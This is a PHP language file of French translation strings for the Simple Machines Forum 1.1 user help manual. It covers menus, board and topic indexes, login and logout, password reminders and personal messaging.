<?php
// Version: 1.1; Manual

/* Everything in this file is for the Simple Machines help manual
   If you are looking at translating this into another language please
   visit the Simple Machines website for tools to assist! */
// Entries for template: index.
$txt['manual_index_visit_simple_machines'] = 'Visitez Simple Machines&nbsp;!';

// Entries for template: smf.
$txt['manual_smf_user_help'] = 'Aide utilisateur SMF';

// Entries for template: index.
$txt['manual_index_intro'] = 'Introduction';
$txt['manual_index_register'] = 'S\'enregistrer';
$txt['manual_index_login'] = 'Se connecter';
$txt['manual_index_profile'] = 'Profil';
$txt['manual_index_posting'] = 'Poster';
$txt['manual_index_pm'] = 'Message Personnel';
$txt['manual_index_search'] = 'Rechercher';
$txt['manual_index_you_have_arrived_part1'] = 'Vous &ecirc;tes donc arriv&eacute; sur ce ';
$txt['manual_index_you_have_arrived_link_site0'] = 'Forum Simple Machines';
$txt['manual_index_you_have_arrived_part2'] = ' (SMF)! Peut &ecirc;tre avez vous regard&eacute; la ';
$txt['manual_index_you_have_arrived_link_site0_board'] = 'page d\'acceuil';
$txt['manual_index_you_have_arrived_part3'] = ' ou une page vous demandant de vous inscrire avant de pouvoir voir le forum et vous vous demandez quoi faire ensuite&nbsp;?';
$txt['manual_index_guest_permit_read_part1'] = 'Et bien, certains forums permettent aux invit&eacute;s de lire et poster, d\'autres ne permettent que la lecture et d\'autres sont restreints aux membres inscrits uniquement. Nous recommandons de ';
$txt['manual_index_guest_permit_read_link_registering'] = 's\'enregistrer';
$txt['manual_index_guest_permit_read_part2'] = ' sur chaque forum que vous visitez r&eacute;guli&egrave;rement car la plupart des options les plus utiles ne seront accessible que si vous le faites. M&ecirc;me si SMF est un syst&egrave;me si flexible que peu de forums sont comme lui, nous allons commencer par vous d&eacute;crire les quatres zones cl&eacute;s qu\'il faut s\'attendre &agrave; trouver:';
$txt['manual_index_main_menu'] = 'Le Menu Principal';
$txt['manual_index_suppossing_guest'] = 'Supposons que vous &ecirc;tes arriv&eacute; ici en tant qu\'invit&eacute; (ou que vous &ecirc;tes enregistr&eacute; mais non connect&eacute; actuellement), le menu principal (qui apparait sur chaque page) devrait normalement comprendre cinq ou six boutons (ou des liens texte):';
$txt['manual_index_home_desc_part1'] = '<strong>Accueil</strong>, qui vous ram&egrave;ne &agrave; l\' ';
$txt['manual_index_home_desc_link_board'] = 'accueil du forum';
$txt['manual_index_home_desc_part2'] = '.';
$txt['manual_index_help_desc'] = '<strong>Aide</strong>, qui vous am&egrave;ne &agrave; ce guide.';
$txt['manual_index_search_desc_part1'] = '<strong>Recherche</strong>, qui vous permet de ';
$txt['manual_index_search_desc_link_searching'] = 'chercher';
$txt['manual_index_search_desc_part2'] = ' dans les forums ce que vous recherchez.';
$txt['manual_index_calendar_desc_part1'] = '<strong>Calendrier</strong>, qui est li&eacute; au forum ';
$txt['manual_index_calendar_desc_link_posting_calendar'] = 'calendrier';
$txt['manual_index_calendar_desc_part2'] = ' (si activ&eacute;).';
$txt['manual_index_login_desc_part1'] = '<strong>Connexion</strong>, qui vous permet de vous ';
$txt['manual_index_login_desc_link_loginout'] = 'connecter';
$txt['manual_index_login_desc_part2'] = ' si vous &ecirc;tes d&eacute;ja enregistr&eacute;.';
$txt['manual_index_register_desc_part1'] = '<strong>S\'enregistrer</strong>, qui vous permet de vous ';
$txt['manual_index_register_desc_link_registering'] = 'enregistrer';
$txt['manual_index_register_desc_part2'] = ' (ou parfois d\'appliquer, pour un enregistrement) lorsque vous voulez le faire.';
$txt['manual_index_once_registered'] = 'Une fois enregistr&eacute; et connect&eacute;, apr&egrave;s cela, le menu principal devrait &ecirc;tre l&eacute;g&egrave;rement diff&eacute;rent:';
$txt['manual_index_home_reg'] = '<strong>Accueil</strong> (comme avant).';
$txt['manual_index_help_reg'] = '<strong>Aide</strong> (comme avant).';
$txt['manual_index_search_reg'] = '<strong>Recherche</strong> (comme avant).';
$txt['manual_index_profile_reg_part1'] = '<strong>Profil</strong>, qui vous permet de faire des changements dans vos ';
$txt['manual_index_profile_reg_link_profile'] = 'profil';
$txt['manual_index_profile_reg_part2'] = ' r&eacute;glages.';
$txt['manual_index_calendar_reg'] = '<strong>Calendrier</strong> (comme avant).';
$txt['manual_index_logout_reg_part1'] = '<strong>D&eacute;connexion</strong>, qui vous permet de vous ';
$txt['manual_index_logout_reg_link_loginout_logout'] = 'D&eacute;connecter';
$txt['manual_index_logout_reg_part2'] = ' &agrave; nouveau si d&eacute;sir&eacute;.';
$txt['manual_index_forum_admins_note_presentation'] = 'Les administrateurs du forum devraient aussi noter la pr&eacute;sence d\'un bouton suppl&eacute;mentaire <strong>Admin</strong>.';
$txt['manual_index_sec_board_index'] = 'L\'Accueil du Forum';
$txt['manual_index_sec_board_index_def'] = 'Bien que l\'index du forum (page d\'accueil du forum) contienne toutes sortes d\'informations et de liens, le coeur de l\'interface (du moins, avec le th&egrave;me par d&eacute;faut de SMF) ressemble normalement &agrave; ceci:';
$txt['manual_index_forum_name'] = 'Nom du Forum';
$txt['manual_index_cat_name'] = 'Nom de la Cat&eacute;gorie';
$txt['manual_index_board_name'] = 'Nom de la Section';
$txt['manual_index_board_desc'] = 'Description de la Section';
$txt['manual_index_topics_posts'] = 'Nombre de sujets et de messages dans cette section';
$txt['manual_index_date_time'] = 'Date, heure, sujet et auteur du dernier message';
$txt['manual_index_new_posts'] = 'Nouveaux messages';
$txt['manual_index_no_new'] = 'Aucuns nouveaux messages';
$txt['manual_index_mark_read'] = 'Marquer TOUS les messages comme lus';
$txt['manual_index_f_name'] = 'Le <strong>nom du forum</strong> ram&egrave;ne en haut de l\'index du forum.';
$txt['manual_index_cat'] = 'Si la <strong>cat&eacute;gorie</strong> est r&eacute;tractable (affich&eacute; par la petite fl&egrave;che), cliquer sur le nom de la cat&eacute;gorie r&eacute;tracte ou d&eacute;veloppe la cat&eacute;gorie appropri&eacute;e.';
$txt['manual_index_b_name_part1'] = 'Le <strong>nom de la section</strong> am&egrave;ne &agrave; l\' ';
$txt['manual_index_b_name_link_message'] = 'index des messages';
$txt['manual_index_b_name_part2'] = ' pour cette section.';
$txt['manual_index_b_desc'] = 'La <strong>description de la section</strong> d&eacute;crit le contenu de la section, et peut inclure des liens vers les sous-sections et sp&eacute;cifier le(s) mod&eacute;rateur(s) de la section.';
$txt['manual_index_n_no_n_posts'] = 'Les icones <strong>Nouveaux Messages</strong> et <strong>Aucuns Nouveaux Messages</strong> au bas de la colonne compl&egrave;tement &agrave; gauche montre aux membres enregistr&eacute;s la pr&eacute;sence de nouveaux messages ou non dans la section depuis leur derni&egrave;re visite.';
$txt['manual_index_m_read'] = 'Le bouton <strong>Marquer &quot;lus&quot;</strong> permet aux membres enregistr&eacute;s de marquer tous les messages du forum comme &eacute;tant \'lus\'.';
$txt['manual_index_sec_msg_index'] = 'L\'Index des Messages';
$txt['manual_index_sec_msg_index_def'] = 'Comme l\'index du forum, l\'interface de l\'index des messages ressemble &agrave; ceci lorsqu\'elle est r&eacute;duite &agrave; ses composantes les plus essentielles:';
$txt['manual_index_pages'] = 'Pages';
$txt['manual_index_mark_read_this_board'] = 'Marquer les sujets comme \'lus\' pour cette section';
$txt['manual_index_ru_sure_notify'] = 'Etes vous s&ucirc;r de vouloir activer la notification de nouveaux messages pour cette section&nbsp;?';
$txt['manual_index_notify'] = 'Notification de R&eacute;ponses';
$txt['manual_index_start_new'] = 'Commencer un nouveau sujet';
$txt['manual_index_new_poll'] = 'Poster un nouveau sondage';
$txt['manual_index_subject'] = 'Sujet';
$txt['manual_index_started_by'] = 'Commencer par';
$txt['manual_index_replies'] = 'R&eacute;ponses';
$txt['manual_index_views'] = 'Vus';

$txt['manual_index_last_post'] = 'Dernier messages';
$txt['manual_index_topic_subject'] = 'Titre du sujet';
$txt['manual_index_new'] = 'Nouveau';
$txt['manual_index_topic_starter'] = 'Initiateur du sujet';
$txt['manual_index_last_poster'] = 'Date, heure et auteur du dernier message ';
$txt['manual_index_normal_post'] = 'Sujet auquel vous participez';
$txt['manual_index_normal_topic'] = 'Sujet Normal';
$txt['manual_index_hot_post'] = 'Sujet Chaud (plus de 15 r&eacute;ponses)';
$txt['manual_index_very_hot_post'] = 'Sujet Tr&egrave;s Chaud (plus de 25 r&eacute;ponses)';
$txt['manual_index_locked'] = 'Sujet Verrouill&eacute;';
$txt['manual_index_sticky'] = 'Sujet &eacute;pingl&eacute;';
$txt['manual_index_poll'] = 'Sondage';
$txt['manual_index_jump_to'] = 'Aller &agrave;';
$txt['manual_index_destination'] = 'Veuillez choisir une destination';
$txt['manual_index_another_board'] = 'Autre Section';
$txt['manual_index_go'] = 'Aller';
$txt['manual_index_nav_tree'] = 'Certains forums affichent l\' <strong>arborescence de navigation</strong> en haut en une ligne horizontale &eacute;conomisant l\'espace.';
$txt['manual_index_page_number'] = 'Les <strong>num&eacute;ros de pages</strong> cr&eacute;ent des liens &agrave; travers les diff&eacute;rentes pages de la section, peuvent &ecirc;tre accompagn&eacute;s des boutons <strong>Monter</strong> et <strong>Descendre</strong> permettant de se rendre rapidement du haut au bas de la page ou vice versa.';
$txt['manual_index_mark_read_button'] = 'Le bouton <strong>Marquer \'lus\'</strong> permet aux membres enregistr&eacute;s de marquer tous les messages de cette section comme &eacute;tant \'lus\'.';
$txt['manual_index_notify_button'] = 'Le bouton <strong>Aviser</strong> permet aux membres enregistr&eacute;s de s\'abonner &agrave; une notification par courriel de r&eacute;ponses aux sujets de cette section.';
$txt['manual_index_new_topic_poll_button_part1'] = 'Les boutons <strong>Nouveau Sujet</strong> et <strong>Nouveau Sondage</strong> permettent de cr&eacute;er des nouveaux sujets et sondages, tels que d&eacute;crits dans l\' ';
$txt['manual_index_new_topic_poll_button_link_posting'] = 'aide au postage';
$txt['manual_index_new_topic_poll_button_part2'] = '.';
$txt['manual_index_subject_replies_etc'] = 'Les liens <strong>Sujet</strong>, <strong>Commenc&eacute; par</strong>, <strong>R&eacute;ponses</strong>, <strong>Vus</strong> et <strong>Dernier message</strong> vous permettent de r&eacute;organiser la liste des sujets selon ces crit&egrave;res (avec <strong>Dernier message</strong> permettant une liste ascendante ou descendante, indiqu&eacute;e par la petite fl&egrave;che).';
$txt['manual_index_topic_icons'] = 'Les <strong>ic&ocirc;nes de sujet</strong> dans la colonne compl&egrave;tement &agrave; gauche sont expliqu&eacute;s par la l&eacute;gende en-dessous.';
$txt['manual_index_post_icons'] = 'Les <strong>ic&ocirc;nes de message</strong> dans la colonne suivante sont parfois utilis&eacute;s pour attirer l\'attention sur l\'humeur ou l\'objectif d\'un sujet.';
$txt['manual_index_topic_subject_links_part1'] = 'Les liens <strong>Titre du sujet</strong> am&egrave;ne au d&eacute;but du ';
$txt['manual_index_topic_subject_links_link_topic'] = 'sujet';
$txt['manual_index_topic_subject_links_part2'] = ', avec des liens suppl&eacute;mentaires pour les pages suivantes et <strong>nouveau</strong> pour amener les membres enregistr&eacute;s directement au dernier message non lu du sujet.';
$txt['manual_index_where_topic_part1'] = 'L&agrave; o&ugrave; le <strong>sujet</strong> a &eacute;t&eacute; commenc&eacute; ou r&eacute;pondu en dernier par un membre enregistr&eacute;, leurs pseudonymes pointent vers leur propres';
$txt['manual_index_where_topic_link_profile'] = 'profils';
$txt['manual_index_where_topic_part2'] = '.';
$txt['manual_index_jump_to_menu'] = 'Le menu <strong>Aller &agrave;</strong> fournit une m&eacute;thode rapide de navigation sur le forum.';
$txt['manual_index_sec_topic'] = 'Le Sujet';
$txt['manual_index_ref_thread'] = 'Parfois r&eacute;f&eacute;renc&eacute;s en tant que <strong>discussions</strong>, les <strong>sujets</strong> sont l\'endroit o&ugrave; se trouvent les messages actuels:';
$txt['manual_index_reply'] = 'R&eacute;ponse';
$txt['manual_index_ru_sure_enable_notify'] = 'Etes vous s&ucirc;r de vouloir activer la notification de nouvelles r&eacute;ponses pour ce sujet&nbsp;?';
$txt['manual_index_mark_unread'] = 'Marquer \'non lu\'';
$txt['manual_index_send_topic'] = 'Envoyer ce sujet';
$txt['manual_index_print'] = 'Imprimer';
$txt['manual_index_author'] = 'Auteur';
$txt['manual_index_topic'] = 'Sujet';
$txt['manual_index_read_x_times'] = 'Lu x fois';
$txt['manual_index_view_author_profile'] = 'Voir le profil de l\'auteur';
$txt['manual_index_member_group'] = 'Groupe du membre';
$txt['manual_index_post_group'] = 'Groupe de message';
$txt['manual_index_post_count'] = 'Nombre de messages';
$txt['manual_index_post_date_time'] = 'Date et heure du message';
$txt['manual_index_reply_quote'] = 'Citer en r&eacute;ponse';
$txt['manual_index_topic_text'] = 'Ici se trouve le texte du message, ce qui est notre but ultime&nbsp;!';
$txt['manual_index_smiley'] = 'Emotic&ocirc;ne';
$txt['manual_index_report_to_mod'] = 'Rapporter &agrave; un mod&eacute;rateur';
$txt['manual_index_logged'] = 'Journalis&eacute;';
$txt['manual_index_view_profile'] = 'Voir le Profil';
$txt['manual_index_email'] = 'Courriel';
$txt['manual_index_personal_msg'] = 'Message personnel (d&eacute;connect&eacute;)';
$txt['manual_index_navigation_tree'] = 'Certains forums affichent l\'<strong>arborescence de navigation</strong> en haut en une ligne horizontale &eacute;conomisant l\'espace.';
$txt['manual_index_prev_next'] = 'Certains forums peuvent &ecirc;tre aussi configur&eacute;s pour afficher des liens <strong>Sujet pr&eacute;c&eacute;dent</strong> et <strong>Sujet suivant</strong>.';
$txt['manual_index_page_no_link'] = 'Les <strong>num&eacute;ros de pages</strong> cr&eacute;ent des liens &agrave; travers les diff&eacute;rentes pages du sujet, peuvent &ecirc;tre accompagn&eacute;s des boutons <strong>Monter</strong> et <strong>Descendre</strong> permettant de se rendre rapidement du haut au bas de la page ou vice versa.';
$txt['manual_index_reply_button_part1'] = 'Le bouton <strong>R&eacute;pondre</strong> vous permet de ';
$txt['manual_index_reply_button_link_posting_reply'] = 'r&eacute;pondre';
$txt['manual_index_reply_button_part2'] = ' au sujet.';
$txt['manual_index_notify_button_enables'] = 'Le bouton <strong>Aviser</strong> permet aux membres enregistr&eacute;s de s\'abonner &agrave; une notification par courriel de r&eacute;ponses au pr&eacute;sent sujet.';
$txt['manual_index_mark_unread_button'] = 'Le bouton <strong>Marquer \'non lu\'</strong> permet aux membres enregistr&eacute;s de marquer le sujet comme \'non lu\', ce qui veut dire qu\'il sera toujours list&eacute; comme nouveau et peuvent &ecirc;tre effectivement \'sauvegard&eacute;s pour plus tard\'. Notez que ce bouton change le bouton du bas <strong>Ajouter un sondage</strong> pr&eacute;sent pour les utilisateurs qui ont la permission d\'ajouter des sondages aux sujets existants.';
$txt['manual_index_send_topic_button'] = 'Le bouton <strong>Envoyer le sujet</strong> permet aux membres enregistr&eacute;s d\'envoyer un lien par courriel &agrave; quelqu\'un vers le sujet.';
$txt['manual_index_print_button'] = 'Le bouton <strong>Imprimer</strong> g&eacute;n&egrave;re une page simplifi&eacute;e, avec un rendu id&eacute;al pour l\'impression de la  page.';
$txt['manual_index_author_name_link_part1'] = 'Les liens <strong>nom de l\'auteur</strong> am&egrave;ne vers l\'auteur et son ';
$txt['manual_index_author_name_link_link_profile'] = 'profil';
$txt['manual_index_author_details'] = 'Les <strong>d&eacute;tails de l\'auteur</strong> dans la colonne de gauche peuvent &ecirc;tre compl&eacute;t&eacute;es par diverses informations personnelles.';
$txt['manual_index_topic_subject_links_start'] = 'Le <strong>titre du sujet</strong> ram&egrave;ne vers le d&eacute;but du sujet.';
$txt['manual_index_quote_button_part1'] = 'Le bouton <strong>Citer</strong> vous permet de ';

$txt['manual_index_quote_button_link_posting_quote'] = 'citer en r&eacute;ponse';
$txt['manual_index_quote_button_part2'] = ' le message.';
$txt['manual_index_modify_delete_part1'] = 'Des options suppl&eacute;mentaires <strong>Modifier</strong> et <strong>Supprimer</strong> sont normalement affich&eacute;es pour permettre aux membres enregistr&eacute;s de ';
$txt['manual_index_modify_delete_link_posting_modify'] = 'modifier';
$txt['manual_index_modify_delete_part2'] = ' leurs propres messages.';
$txt['manual_index_report_to_moderator'] = '<strong>Rapporter &agrave; un mod&eacute;rateur</strong> vous permet de rapidement signaler un message ind&eacute;sirable ou post&eacute; au mauvais endroit aux membres de l\'&eacute;quipe du forum.';
$txt['manual_index_logged_IP'] = '<strong>Journalis&eacute;e</strong> indique que l\'adresse IP de l\'auteur a &eacute;t&eacute; journalis&eacute;e. L\'adresse IP actuelle n\'est disponible que pour les administrateurs';
$txt['manual_index_jump_to_menu_provides'] = 'Le menu <strong>Aller &agrave;</strong> fournit une m&eacute;thode rapide de navigation sur le forum.';

// Entries for template: loginout.
$txt['manual_loginout_complete_reg_part1'] = 'Une fois que vous avez compl&eacute;t&eacute; le processus d\' ';
$txt['manual_loginout_complete_reg_link_registering'] = 'enregistrement';
$txt['manual_loginout_complete_reg_part2'] = ' vous serez capable de vous connecter au site pour la premi&egrave;re fois. Vous pourrez ensuite choisir de rester connecter ind&eacute;finiement ou de vous d&eacute;connecter &agrave; la fin de votre visite.';
$txt['manual_loginout_sec_login'] = 'Se Connecter';
$txt['manual_loginout_login_desc'] = 'Vous pouvez &ecirc;tre r&eacute;cemment enregistr&eacute; ou tout simplement d&eacute;connect&eacute; depuis votre derni&egrave;re fois, mais il y a normalement un choix entre l\'&eacute;cran de connexion ou la connexion rapide.';
$txt['manual_loginout_login_screen'] = 'L\'&eacute;cran de connexion';
$txt['manual_loginout_login_screen_desc_part1'] = 'Depuis cet &eacute;cran (accessible &agrave; partir de l\'option <strong>Connexion</strong> du ';
$txt['manual_loginout_login_screen_desc_link_index_main'] = 'menu principal';
$txt['manual_loginout_login_screen_desc_part2'] = ') ce n\'est pas uniquement l\'endroit o&ugrave; vous serez normalement amen&eacute; pour compl&eacute;ter le formulaire d\'enregistrement\' mais aussi la premi&egrave;re chose que vous verrez dans n\'importe quel forum \'Membres seulement\', nous le d&eacute;crirons donc en premier&nbsp;:';
$txt['manual_loginout_login'] = 'Identifiez-vous';
$txt['manual_loginout_username'] = 'Identifiant';
$txt['manual_loginout_password'] = 'Mot de Passe';
$txt['manual_loginout_how_long'] = 'Dur&eacute;e de connexion (en minutes)';
$txt['manual_loginout_always'] = 'Toujours connect&eacute;';
$txt['manual_loginout_forgot'] = 'Mot de passe oubli&eacute;';
$txt['manual_loginout_login_screen_explanation'] = 'Si les champs <strong>Identifiant</strong> et <strong>Mot de Passe</strong> sont assez explicites en eux-m&ecirc;mes, <strong>Dur&eacute;e de connexion (en minutes)</strong> sert simplement &agrave; choisir le temps en minutes pour le cookie, qui vous permettra de rest&eacute; connect&eacute; jusqu\'&agrave; son expiration et qui apr&egrave;s n&eacute;cessitera que vous vous connectiez &agrave; nouveau. Il n\'est donc pas recommand&eacute; d\'entrer une longue dur&eacute;e de temps si vous vous connectez &agrave; partir d\'un ordinateur public et que vous avez l\'habitude d\'oublier de vous d&eacute;connecter &agrave; la fin de votre visite. Mais vous pouvez pr&eacute;f&eacute;rer cocher la case <strong>Toujours connect&eacute;</strong> si personne d\'autre n\'a acc&egrave;s &agrave; votre ordinateur.';
$txt['manual_loginout_sub_quick_login'] = 'La connexion rapide';
$txt['manual_loginout_although_many_forums_part1'] = 'Bien que beaucoup de forums disposent d\'une zone de connexion rapide pour se connecter directement depuis n\'importe quel &eacute;cran, sa position sur la page peut varier consid&eacute;rablement d\'un forum &agrave; l\'autre. Dans le th&egrave;me par d&eacute;faut de SMF, par exemple, elle se trouve dans la section r&eacute;tractable en haut de page, tandis qu\'on le trouve la plupart du temps en pied-de-page dans les anciens th&egrave;mes de YaBB SE. Si vous ne voyez ce forum nulle part sur les pages et qu\'il n\'est pas simplement r&eacute;tract&eacute;, il n\'est peut &ecirc;tre pas activ&eacute; du tout (auquel cas vous pourrez toujours vous connecter &agrave; partir du ';
$txt['manual_loginout_although_many_forums_link_index_main'] = 'menu principal';
$txt['manual_loginout_although_many_forums_part2'] = ') ou bien vous &ecirc;tes d&eacute;j&agrave; connect&eacute; (auquel cas le menu principal devrait avoir un lien <strong>D&eacute;connexion</strong> plut&ocirc;t que <strong>Connexion</strong>&nbsp;!).';
$txt['manual_loginout_hour'] = '1 Heure';
$txt['manual_loginout_day'] = '1 Jour';
$txt['manual_loginout_week'] = '1 Semaine';
$txt['manual_loginout_mo'] = '1 Mois';
$txt['manual_loginout_forever'] = 'Toujours';
$txt['manual_loginout_login_all'] = 'Connexion avec identifiant, mot de passe et dur&eacute;e de la session';
$txt['manual_loginout_use_quick_login'] = 'Pour utiliser la zone de connexion rapide, entrez votre identifiant et votre mot de passe, et s&eacute;lectionnez une dur&eacute;e de session depuis le menu d&eacute;roulant et cliquez sur <strong>Identifiez-vous</strong>. Veuillez noter que <strong>Toujours</strong>, comme <strong>Toujours connect&eacute;</strong>, signifie simplement que l\'ordinateur conservera votre connexion jusqu\'&agrave; ce que vous vous d&eacute;connectiez, et non que vous avez r&eacute;ellement besoin d\'&ecirc;tre connect&eacute; tout le temps&nbsp;!';
$txt['manual_loginout_logout'] = 'Se D&eacute;connecter';
$txt['manual_loginout_logout_desc_part1'] = 'Lorsque vous avez termin&eacute; de parcourir le forum, vous pouvez choisir de vous d&eacute;connecter. Peut-&ecirc;tre partagez-vous votre ordinateur avec quelqu\'un d\'autre, auquel cas rester connect&eacute; ne serait pas une bonne id&eacute;e. S&eacute;lectionnez donc l\'option <strong>D&eacute;connexion</strong> &agrave; partir du ';
$txt['manual_loginout_logout_desc_link_index_main'] = 'menu principal';
$txt['manual_loginout_logout_desc_part2'] = ' et le forum vous d&eacute;connectera, vous rendant instantan&eacute;ment invit&eacute;, effa&ccedil;ant votre identifiant de la liste des membres connect&eacute;s et prot&eacute;geant ainsi votre identit&eacute; jusqu\'&agrave; votre prochaine connexion.';
$txt['manual_loginout_sec_reminder'] = 'Rappel du Mot de Passe';
$txt['manual_loginout_reminder_desc_part1'] = 'Si vous tentez de vous connecter au forum mais que vous avez oubli&eacute; ou perdu votre mot de passe, vous pouvez en r&eacute;cup&eacute;rer un nouveau avec l\'outil de rappel de mot de passe en suivant le lien <strong>Mot de Passe oubli&eacute;&nbsp;?</strong> &agrave; partir de l\'&eacute;cran de';
$txt['manual_loginout_reminder_desc_link_screen'] = 'connexion';
$txt['manual_loginout_reminder_desc_part2'] = '.';
$txt['manual_loginout_password_reminder'] = 'Rappel du Mot de Passe';
$txt['manual_loginout_username_email'] = 'Identifiant/Courriel';
$txt['manual_loginout_send'] = 'Envoyer';
$txt['manual_loginout_by_user'] = 'par Identifiant';
$txt['manual_loginout_by_email'] = 'par Courriel';
$txt['manual_loginout_ask_q'] = 'Posez-moi ma question';
$txt['manual_loginout_q_explanation'] = 'Vous ne pouvez pas retrouver votre mot de passe, mais vous pouvez en sp&eacute;cifier un nouveau en suivant le lien envoy&eacute; &agrave; votre adresse courriel.  Vous avez aussi la possibilit&eacute; de sp&eacute;cifier un nouveau mot de passe en r&eacute;pondant &agrave; votre question secr&egrave;te.';
$txt['manual_loginout_reminder_explanation'] = 'Vous pouvez entrer indiff&eacute;remment votre identifiant ou votre adresse courriel tant que vous choisissez bien l\'option appropri&eacute;e, puis cliquez sur le bouton <strong>Envoyer</strong> pour vous exp&eacute;dier un courriel contenant un lien pour r&eacute;initialiser le mot de passe. Il est aussi possible d\'&eacute;viter le courriel si vous avez une question et r&eacute;ponse secr&egrave;te dans votre profil, mais attention aux questions impossible &agrave; r&eacute;pondre ou trop facile (comme \'quelle est la premi&egrave;re couleur de l\'arc-en-ciel\', qui serait alors un tr&egrave;s mauvais choix)&nbsp;!';

// Entries for template: pm.
$txt['manual_pm_community'] = 'SMF est une communaut&eacute; et un moyen de communication. Il inclut plusieurs moyens de communication, comme poster dans les sections, la messagerie personnelle, le courriel, ICQ, AIM et YIM. Mais SMF a son propre syst&egrave;me de messages personnels, uniquement disponible pour les membres enregistr&eacute;s, dans la plupart des forums, c\'est la solution plus appropri&eacute;e que les autres.';
$txt['manual_pm_sec_pm'] = 'La Messagerie Personnelle';
$txt['manual_pm_pm_desc'] = 'Description';
$txt['manual_pm_pm_desc_1'] = 'Bien que le courriel soit un bon moyen pour communiquer directement avec des membres, ca a aussi plusieurs inconv&eacute;nients pour le forum&nbsp;: vous devez acc&eacute;der &agrave; votre application courriel pour &eacute;crire et envoyer le message, le destinataire du courriel doit lui aussi acc&eacute;der &agrave; sa bo&icirc;te courriel pour les v&eacute;rifier, votre message va se retrouver au beau milieu des autres courriels et il arrive parfois que le courriel mette quelques minutes, voire quelques heures, avant d\'arriver &agrave; destination.';
$txt['manual_pm_pm_desc_2'] = 'Comme alternative au courriel, SMF offre une m&eacute;thode plus rapide et plus priv&eacute;e. La Messagerie Personnelle sur le forum d&eacute;livre les messages instantan&eacute;ment dans la bo&icirc;te personnelle du destinataire. Le courriel est envoy&eacute; et re&ccedil;u enti&egrave;rement par l\'interm&eacute;diaire de SMF, et donc ni vous ni le destinaire n\'avez &agrave; vous servir d\'un autre programme ou &agrave; quitter SMF. La Messagerie Personnelle offre aussi plus de confidentialit&eacute; car les adresses courriels r&eacute;elles de l\'exp&eacute;diteur et du destinataire ne sont pas r&eacute;v&eacute;l&eacute;es. La Messagerie Personnelle montre seulement le pseudonyme (et l\'identifiant) du membre.';
$txt['manual_pm_pm_desc_3'] = 'Si un destinataire n\'est pas en ligne, les messages personnels demeurent dans sa bo&icirc;te de messages personnels jusqu\'&agrave; ce qu\'il/elle se connecte, les lise et les efface. La Messagerie Personnelle de SMF est un syst&egrave;me de communication interne &agrave; lui-m&ecirc;me et hautement priv&eacute;.';
$txt['manual_pm_reading'] = 'Lire vos messages';
$txt['manual_pm_reading_desc_part1'] = 'Pour lire vos messages personnels, vous devez ';
$txt['manual_pm_reading_desc_link_loginout'] = '&ecirc;tre connect&eacute;';
$txt['manual_pm_reading_desc_part2'] = ', puis suivre le lien qui dit quelque chose comme \'Bienvenue, [votrepseudo], vous avez ';
$txt['manual_pm_reading_desc_link_loginout_interface'] = 'x messages';
$txt['manual_pm_reading_desc_part3'] = ', x sont nouveaux\'.';
$txt['manual_pm_sec_pm2'] = 'L\'Interface des MP (Messages Personnels)';
$txt['manual_pm_pm_desc2_part1'] = 'L\'interface des MP s\'utilise de la m&ecirc;me mani&egrave;re que l\'';
$txt['manual_pm_pm_desc2_link_index_message'] = 'index des messages';
$txt['manual_pm_pm_desc2_part2'] = '. Bien que nous vous expliquons ici le fonctionnement de la bo&icirc;te de r&eacute;ception (l&agrave; o&ugrave; vos messages re&ccedil;us sont stock&eacute;s), la bo&icirc;te d\'envoi (l&agrave; o&ugrave; vos messages envoy&eacute;s sont stock&eacute;s) fonctionne de la m&ecirc;me mani&egrave;re&nbsp;:';
$txt['manual_pm_forum_name'] = 'Nom du Forum';
$txt['manual_pm_personal_msgs'] = 'Messages Personnels';
$txt['manual_pm_inbox'] = 'R&eacute;ception';
$txt['manual_pm_delete'] = 'Supprimer tous les messages de votre Bo&icirc;te de r&eacute;ception';
$txt['manual_pm_outbox'] = 'Envois';
$txt['manual_pm_new_msg'] = 'Nouveau Message';
$txt['manual_pm_check_new_msgs'] = 'V&eacute;rifier l\'arriv&eacute;e de nouveaux messages';
$txt['manual_pm_date'] = 'Date';
$txt['manual_pm_subject2'] = 'Sujet';
$txt['manual_pm_from'] = 'De';
$txt['manual_pm_date_and_time'] = 'Date et heure du message';
$txt['manual_pm_another_member'] = 'Un autre Membre';
$txt['manual_pm_subject'] = 'Sujet du Message';
$txt['manual_pm_delete_selected'] = 'Supprimer la s&eacute;lection';
$txt['manual_pm_pages'] = 'Pages';
$txt['manual_pm_nav_tree'] = 'Certains forums montrent <strong>l\'arborescence de navigation</strong> en haut en une ligne horizontale &eacute;conomisant l\'espace.';
$txt['manual_pm_delete_button'] = 'Le bouton principal <strong>Effacer</strong> efface tous les messages de votre bo&icirc;te de r&eacute;ception (ou d\'envoi, si celle ci est ouverte). Notez que les cases &agrave; cocher en dessous et le bouton <strong>Effacer</strong> vous permettre aussi de supprimer les messages s&eacute;lectionn&eacute;es, en cochant la case du haut qui s&eacute;lectionne tout.';
$txt['manual_pm_outbox_button'] = 'Le bouton <strong>Envoy&eacute;s</strong> vous am&egrave;ne sur votre bo&icirc;te d\'envoi et ce bouton devient alors le bouton <strong>Re&ccedil;us</strong>.';
$txt['manual_pm_new_msg2_part1'] = 'Le bouton <strong>Nouveau Message</strong> vous permet de commencer un nouveau sujet, ce qui est similaire &agrave; ';
$txt['manual_pm_new_msg2_link_posting_newtopic'] = 'Poster un nouveau sujet';
$txt['manual_pm_new_msg2_part2'] = ' Mais ajoute les champs \'A:\' et \'Bcc:\' (blind carbon copy) et l\'option de sauvegarder votre boite d\'envoi.';
$txt['manual_pm_reload'] = 'Le bouton <strong>Actualiser</strong> v&eacute;rifie s\'il n\'y a pas de nouveaux messages en rechargeant la page.';
$txt['manual_pm_sort_by'] = 'Les liens <strong>Date</strong>, <strong>Sujet</strong>, et <strong>De</strong> vous permettent d\'ordonner les colonnes par rapport &agrave; leurs param&egrave;tres (avec <strong>Date</strong> vos messages seront class&eacute;s du plus ancien aux plus r&eacute;cent ou vice-versa, comme indiqu&eacute; par petite fl&egrave;che).';
$txt['manual_pm_main_subject'] = 'Le titre du sujet principal vous envoie au d&eacute;but du message, qui sera plus bas sur la m&ecirc;me page.';
$txt['manual_pm_page_nos'] = 'Les num&eacute;ros des pages lient aux autres pages si c\'est applicable.';
$txt['manual_pm_start_reply'] = 'Commencer ou R&eacute;pondre &agrave; un message';
$txt['manual_pm_how_to_start_reply_part1'] = 'Il y a en fait plusieurs m&eacute;thodes pour commencer un nouveau message, mais pour chaque cas vous devez bien entendu ';
$txt['manual_pm_how_to_start_reply_link_loginout'] = '&ecirc;tre connect&eacute;';
$txt['manual_pm_how_to_start_reply_part2'] = ':';
